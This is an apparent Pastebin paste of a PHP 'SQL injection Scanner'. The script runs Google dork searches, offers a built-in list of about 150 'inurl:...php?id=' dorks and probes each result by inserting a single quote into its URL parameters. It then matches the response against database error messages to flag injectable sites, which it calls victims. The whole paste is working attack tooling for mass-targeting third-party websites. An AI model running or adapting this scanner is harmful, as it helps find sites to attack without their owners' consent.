Advertisement
AbdulMuttaqin

SQL injection Scanner

Feb 9th, 2019
1,022
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.73 KB | None | 0 0
  1. <?php
  2.     set_time_limit(0);
  3.     ini_set('memory_limit', '64M');
  4.     header('Content-Type: text/html; charset=UTF-8');
  5.  
  6.     /* Errors By r3m1ck*/
  7.     $error[] = 'You have an error in your SQL';
  8.     $error[] = 'supplied argument is not a valid MySQL result resource in';
  9.     $error[] = 'Division by zero in';
  10.     $error[] = 'Call to a member function';
  11.     $error[] = 'Microsoft JET Database';
  12.     $error[] = 'ODBC Microsoft Access Driver';
  13.     $error[] = 'Microsoft OLE DB Provider for SQL Server';
  14.     $error[] = 'Unclosed quotation mark';
  15.     $error[] = 'Microsoft OLE DB Provider for Oracle';
  16.     $error[] = 'Incorrect syntax near';
  17.     $error[] = 'SQL query failed';
  18.    
  19.     function letItBy(){ ob_flush(); flush(); }
  20.    
  21.     function google_that($query, $page=1){
  22.        
  23.         $resultPerPage=8; //max result per page is 8 (GOOGLE rules)
  24.        
  25.         $start = $page*$resultPerPage;
  26.    
  27.         $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query);
  28.        
  29.         /* Get result */
  30.         $resultFromGoogle = json_decode( http_get($url, true) ,true);
  31.  
  32.         /* Check result */
  33.         if(isset($resultFromGoogle['responseStatus'])){
  34.            
  35.             /* Check response status */
  36.             if($resultFromGoogle['responseStatus'] != '200') return false; //die( 'The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $resultFromGoogle['responseDetails'] . '<br>' .$url );
  37.            
  38.             /* Count results */
  39.             if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false; //if no results return false
  40.             else return $resultFromGoogle['responseData']['results']; //return the results
  41.         }
  42.         /*
  43.             if this function kill the script, go to --> http://code.google.com/intl/iw/apis/websearch/docs/ AND LEARN!!
  44.         */
  45.         else
  46.             die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );
  47.  
  48.     }
  49.    
  50.     function http_get($url, $safemode = false){
  51.         if($safemode === true) sleep(1); // safe mode, i dont want GOOGLE ban me..
  52.         $im = curl_init($url);
  53.         curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  54.         curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  55.         curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  56.         curl_setopt($im, CURLOPT_HEADER, 0);
  57.         return curl_exec($im);
  58.         curl_close();
  59.     }
  60.  
  61.     function check_injection($url){
  62.         $data = http_get( str_replace("=", "='", $url) );
  63.         $errors = implode("|", $GLOBALS['error']);
  64.         return preg_match("#{$errors}#i", $data);
  65.     }
  66.  
  67. ?>
  68. <!DOCTYPE html>
  69. <html>
  70.     <head>
  71.         <meta name="Content-Type" content="text/html; charset=UTF-8">
  72.         <title>SQL Injection scanner By xzxxx7 1.0</title>
  73.         <style type="text/css">
  74.             body{ background-color:#000000; font: normal 18px Arial; color:#ffffff;}
  75.             input{ border-width:0px; padding:2px; width:250px; }
  76.             a{ text-decoration:none; color:#ffffff;}
  77.             #button{ width:50px;}
  78.             #result{margin:10px;}
  79.             #result span{display:block;}
  80.             #result .Y{background-color:green;}
  81.             #result .X{background-color:red;}
  82.         </style>
  83.     </head>
  84.     <body>
  85.         <form method="post">
  86.             Dork
  87.             <select onchange="document.getElementById('dork').value=this.options[this.selectedIndex].text;"><!-- By Styx http://thedefaced.net/showthread.php?tid=152 --><option>inurl:trainers.php?id=</option><option>inurl:buy.php?category=</option><option>inurl:article.php?ID=</option><option>inurl:play_old.php?id=</option><option>inurl:declaration_more.php?decl_id=</option><option>inurl:pageid=</option><option>inurl:games.php?id=</option><option>inurl:page.php?file=</option><option>inurl:newsDetail.php?id=</option><option>inurl:gallery.php?id=</option><option>inurl:article.php?id=</option><option>inurl:show.php?id=</option><option>inurl:staff_id=</option><option>inurl:newsitem.php?num=</option><option>inurl:readnews.php?id=</option><option>inurl:top10.php?cat=</option><option>inurl:historialeer.php?num=</option><option>inurl:reagir.php?num=</option><option>inurl:Stray-Questions-View.php?num=</option><option>inurl:forum_bds.php?num=</option><option>inurl:game.php?id=</option><option>inurl:view_product.php?id=</option><option>inurl:newsone.php?id=</option><option>inurl:sw_comment.php?id=</option><option>inurl:news.php?id=</option><option>inurl:avd_start.php?avd=</option><option>inurl:event.php?id=</option><option>inurl:product-item.php?id=</option><option>inurl:sql.php?id=</option><option>inurl:news_view.php?id=</option><option>inurl:select_biblio.php?id=</option><option>inurl:humor.php?id=</option><option>inurl:aboutbook.php?id=</option><option>inurl:ogl_inet.php?ogl_id=</option><option>inurl:fiche_spectacle.php?id=</option><option>inurl:communique_detail.php?id=</option><option>inurl:sem.php3?id=</option><option>inurl:kategorie.php4?id=</option><option>inurl:news.php?id=</option><option>inurl:index.php?id=</option><option>inurl:faq2.php?id=</option><option>inurl:show_an.php?id=</option><option>inurl:preview.php?id=</option><option>inurl:loadpsb.php?id=</option><option>inurl:opinions.php?id=</option><option>inurl:spr.php?id=</option><option>inurl:pages.php?id=</option><option>inurl:announce.php?id=</option><option>inurl:clanek.php4?id=</option><option>inurl:participant.php?id=</option><option>inurl:download.php?id=</option><option>inurl:main.php?id=</option><option>inurl:review.php?id=</option><option>inurl:chappies.php?id=</option><option>inurl:read.php?id=</option><option>inurl:prod_detail.php?id=</option><option>inurl:viewphoto.php?id=</option><option>inurl:article.php?id=</option><option>inurl:person.php?id=</option><option>inurl:productinfo.php?id=</option><option>inurl:showimg.php?id=</option><option>inurl:view.php?id=</option><option>inurl:website.php?id=</option><option>inurl:hosting_info.php?id=</option><option>inurl:gallery.php?id=</option><option>inurl:rub.php?idr=</option><option>inurl:view_faq.php?id=</option><option>inurl:artikelinfo.php?id=</option><option>inurl:detail.php?ID=</option><option>inurl:index.php?=</option><option>inurl:profile_view.php?id=</option><option>inurl:category.php?id=</option><option>inurl:publications.php?id=</option><option>inurl:fellows.php?id=</option><option>inurl:downloads_info.php?id=</option><option>inurl:prod_info.php?id=</option><option>inurl:shop.php?do=part&id=</option><option>inurl:productinfo.php?id=</option><option>inurl:collectionitem.php?id=</option><option>inurl:band_info.php?id=</option><option>inurl:product.php?id=</option><option>inurl:releases.php?id=</option><option>inurl:ray.php?id=</option><option>inurl:produit.php?id=</option><option>inurl:pop.php?id=</option><option>inurl:shopping.php?id=</option><option>inurl:productdetail.php?id=</option><option>inurl:post.php?id=</option><option>inurl:viewshowdetail.php?id=</option><option>inurl:clubpage.php?id=</option><option>inurl:memberInfo.php?id=</option><option>inurl:section.php?id=</option><option>inurl:theme.php?id=</option><option>inurl:page.php?id=</option><option>inurl:shredder-categories.php?id=</option><option>inurl:tradeCategory.php?id=</option><option>inurl:product_ranges_view.php?ID=</option><option>inurl:shop_category.php?id=</option><option>inurl:transcript.php?id=</option><option>inurl:channel_id=</option><option>inurl:item_id=</option><option>inurl:newsid=</option><option>inurl:trainers.php?id=</option><option>inurl:news-full.php?id=</option><option>inurl:news_display.php?getid=</option><option>inurl:index2.php?option=</option><option>inurl:readnews.php?id=</option><option>inurl:top10.php?cat=</option><option>inurl:newsone.php?id=</option><option>inurl:event.php?id=</option><option>inurl:product-item.php?id=</option><option>inurl:sql.php?id=</option><option>inurl:aboutbook.php?id=</option><option>inurl:preview.php?id=</option><option>inurl:loadpsb.php?id=</option><option>inurl:pages.php?id=</option><option>inurl:material.php?id=</option><option>inurl:clanek.php4?id=</option><option>inurl:announce.php?id=</option><option>inurl:chappies.php?id=</option><option>inurl:read.php?id=</option><option>inurl:viewapp.php?id=</option><option>inurl:viewphoto.php?id=</option><option>inurl:rub.php?idr=</option><option>inurl:galeri_info.php?l=</option><option>inurl:review.php?id=</option><option>inurl:iniziativa.php?in=</option><option>inurl:curriculum.php?id=</option><option>inurl:labels.php?id=</option><option>inurl:story.php?id=</option><option>inurl:look.php?ID=</option><option>inurl:newsone.php?id=</option><option>inurl:aboutbook.php?id=</option><option>inurl:material.php?id=</option><option>inurl:opinions.php?id=</option><option>inurl:announce.php?id=</option><option>inurl:rub.php?idr=</option><option>inurl:galeri_info.php?l=</option><option>inurl:tekst.php?idt=</option><option>inurl:newscat.php?id=</option><option>inurl:newsticker_info.php?idn=</option><option>inurl:rubrika.php?idr=</option><option>inurl:rubp.php?idr=</option><option>inurl:offer.php?idf=</option><option>inurl:art.php?idm=</option><option>inurl:title.php?id=</option></select>
  88.             <input type="text" id="dork" name="dork" value="<?php echo (isset($_POST['dork']{0})) ? htmlentities($_POST['dork']) : 'inurl:php?id='; ?>" />
  89.             <input type="submit" value="Start" id="button"/>
  90.         </form>
  91.         <?php
  92.             if(isset($_POST['dork']{0})){
  93.                
  94.                 echo '<div id="result">Start..<br>';           
  95.                 letItBy();         
  96.                 for($googlePage = 1; $googlePage <= 10; $googlePage++){
  97.                
  98.                     $googleResult = google_that($_POST['dork'], $googlePage);
  99.                     if(!$googleResult){
  100.                         echo 'google dont heve more result, so I done..(?)';
  101.                         break;
  102.                     }
  103.                    
  104.                     for($victim = 0; $victim < sizeof($googleResult); $victim++){
  105.                    
  106.                         if(check_injection($googleResult[$victim]['unescapedUrl'])){
  107.                             echo '<span class="Y">';
  108.                         //  file_put_contents("log.txt", "{$googleResult[$victim]['unescapedUrl']}\n");
  109.                         }
  110.                         else echo '<span class="X">';
  111.                        
  112.                         echo "<a href=\"{$googleResult[$victim]['unescapedUrl']}\" target='_blank'>{$googleResult[$victim]['titleNoFormatting']}</a></span>\n";
  113.                         letItBy();
  114.                     }
  115.                 }
  116.                 echo '</div>';
  117.             }
  118.         ?>
  119.         Powerd By google.
  120.     </body>
  121. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement